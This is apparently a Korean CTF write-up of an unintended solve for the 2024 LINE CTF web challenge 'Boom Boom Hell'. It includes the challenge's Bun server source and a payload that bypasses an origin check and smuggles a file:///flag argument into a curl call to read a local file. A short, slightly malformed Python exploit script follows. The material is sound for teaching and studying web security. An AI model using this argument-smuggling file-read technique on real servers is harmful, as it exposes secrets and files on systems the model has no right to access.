Home Boom Boom Hell - Unintened Solve
Post
Cancel

Boom Boom Hell - Unintened Solve

2024 Line CTF에서 웹 문제인 Boom Boom Hell을 언인텐하여 풀이를 적어보고자 합니다.

Boom Boom Hell

중요 코드의 해석은 아래와 같습니다.

  1. /chall 엔드포인트에 url 파라미터를 제어할 수 있습니다.
  2. if문 2개를 통과해야 합니다.
    • url의 파라미터의 길이가 escapeHTML(url)된 길이보다 작거나 같아야 함
    • URL(url) 객체된 origin이 https://www.lycorp.co.jp 이여야함
  3. URL 객체를 만들어 curl (url)를 보내 해당 응답을 출력합니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import {$, escapeHTML} from "bun";
import qs from "qs";

const port = process.env.PORT || 3000;
const logFile = process.env.LOGFILE || ".log";

const server = Bun.serve({
    host: "0.0.0.0",
    port: port,
    async fetch(req) {
        const url = new URL(req.url);
        if (url.pathname === "/chall") {
            const params = qs.parse(url.search, {ignoreQueryPrefix: true});
            if (params.url.length < escapeHTML(params.url).length) {    // dislike suspicious chars
                return new Response("sorry, but the given URL is too complex for me");
            }

            const lyURL = new URL(params.url, "https://www.lycorp.co.jp");
            if (lyURL.origin !== "https://www.lycorp.co.jp") {
                return new Response("don't you know us?");
            }

            const rawFetched = await $`curl -sL ${lyURL}`.text();
            const counts = {
                "L": [...rawFetched.matchAll(/LINE/g)].length,
                "Y": [...rawFetched.matchAll(/Yahoo!/g)].length,
            }
            await $`echo $(date '+%Y-%m-%dT%H:%M:%S%z') - ${params.url} ::: ${JSON.stringify(counts)} >> ${logFile}`;

            const highlighted = escapeHTML(rawFetched)
                .replace(/LINE/g, "<mark style='color: #06C755'>$&</mark>")
                .replace(/Yahoo!/g, "<mark style='color: #FF0033'>$&</mark>");
            const html = `
                <h1>Your score is... 🐐<${counts.L + counts.Y}</h1>
                <details open>
                    <summary>Result</summary>
                    <blockquote>${highlighted}</blockquote>            
                </details>
            `;
            return new Response(html, {headers: {"Content-Type": "text/html; charset=utf-8"}});
        } else {
            return new Response("🎶😺≡≡≡😺🎶 Happy Happy Happy~")
        }
    }
});
console.log(`😺 on http://localhost:${server.port}`);

result

How to Exploit?

제가 제일 먼저 생각한 방법은 curl을 이용하는 것 이였습니다. curl의 응답 내용을 보여주기에 URL에 file scheme을 넣어 FLAG를 찾는 방향이였습니다.

1
const rawFetched = await $`curl -sL ${lyURL}`.text();
  1. curl을 두번 요청 하게 한다
    • curl {a} {b} 이런식으로 요청하게되면 두개를 보내게 됩니다.
  2. origin 우회
    • https://www.lycorp.co.jp?` `file:///flag`
    • 위와같이 전달하게 되면 origin은 https://www.lycorp.co.jp가 됩니다.

origin

But….?

FLAG가 잘 나오는 것을 확인했습니다.
FLAG

다만 FLAG가 나왔지만 디버깅을 해보니 생각과는 다르게 뒤에 요청만 전달 하네요..?

1
2
3
4
5
const lyURL = new URL(params.url, "https://www.lycorp.co.jp");
console.log(lyURL);

const rawFetched = await $`curl -sL ${lyURL}`.text();
console.log(rawFetched);

debugging

Exploit Code

Exploit Code 입니다.

1
2
3
4
5
6
7
import requests
http://34.146.180.210:3000/chall?url=https://www.lycorp.co.jp?``file:///flag"
info = lambda x : print(f"[+] {x}")


res = requests.get(URL)
info(f"flag = {res.text}")

후기

인텐풀이는 raw 속성을 주어 unescape를 통한 command injection 문제였습니다.
docs를 봤는데 너무 대충봤나 봅니다… 보고도 넘어갔네요…

문제를 풀어보니 좀 더 소스코드를 잘 분석하고 + 독스도 꼼꼼히 읽어 많은 문제들을 잘 풀고 싶네요
그래도 항상 언인텐은 짜릿함!